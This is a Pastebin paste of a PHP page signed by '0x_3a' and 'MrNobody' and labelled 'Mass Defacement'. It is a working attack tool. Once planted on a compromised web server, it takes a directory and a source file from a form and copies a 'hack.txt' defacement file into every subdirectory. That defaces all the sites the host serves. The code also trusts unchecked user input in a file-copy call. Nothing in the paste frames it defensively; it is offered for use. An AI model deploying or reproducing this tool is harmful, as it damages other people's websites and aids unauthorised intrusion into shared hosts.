Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <head>
- <title>0x_3a was here</title>
- <meta name="author" content="0x_3a,MrNobody">
- <meta name="keywords" content="Mass Defacement,Mass,MrNobody,0x_3a">
- <style type="text/css">
- body {
- margin:10px;
- background-image: url("https://pbs.twimg.com/media/DIDrs4YW0AEtPP-.jpg");
- background-repeat: no-repeat;
- background-position: center;
- background-attachment: fixed;
- background-color: #2C1122;
- color: white;
- font-family: arial;
- font-size: 110%;
- }
- a {
- text-decoration: none;
- color: white;
- }
- </style>
- </head>
- <body>
- <?php
- echo "<center><textarea rows='20' cols='100'>";
- $defaceurl = $_POST['massdefaceurl'];
- $dir = $_POST['massdefacedir'];
- echo $dir."\n";
- if (is_dir($dir)) {
- if ($dh = opendir($dir)) {
- while (($file = readdir($dh)) !== false) {
- if(filetype($dir.$file)=="dir"){
- $newfile=$dir.$file."/hack.txt";
- echo $newfile."\n";
- if (!copy($defaceurl, $newfile)) {
- echo "failed to copy $file...\n";
- }
- }
- }
- closedir($dh);
- }
- }
- echo "</textarea></center>";
- ?>
- <br>
- <center>
- <form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
- Directory: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>' name='massdefacedir'>
- Copy Form: <input type='text' style='width: 250px' value='<?php echo getcwd() . "/"; ?>hack.txt' name='massdefaceurl'>
- <input type='submit' name='execmassdeface' value='Execute'></form></td>
- <br><br><br>
- © 2017 <a href="https://twitter.com/0x_3a">MrNobody</a>
- <br><br></center>
- </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement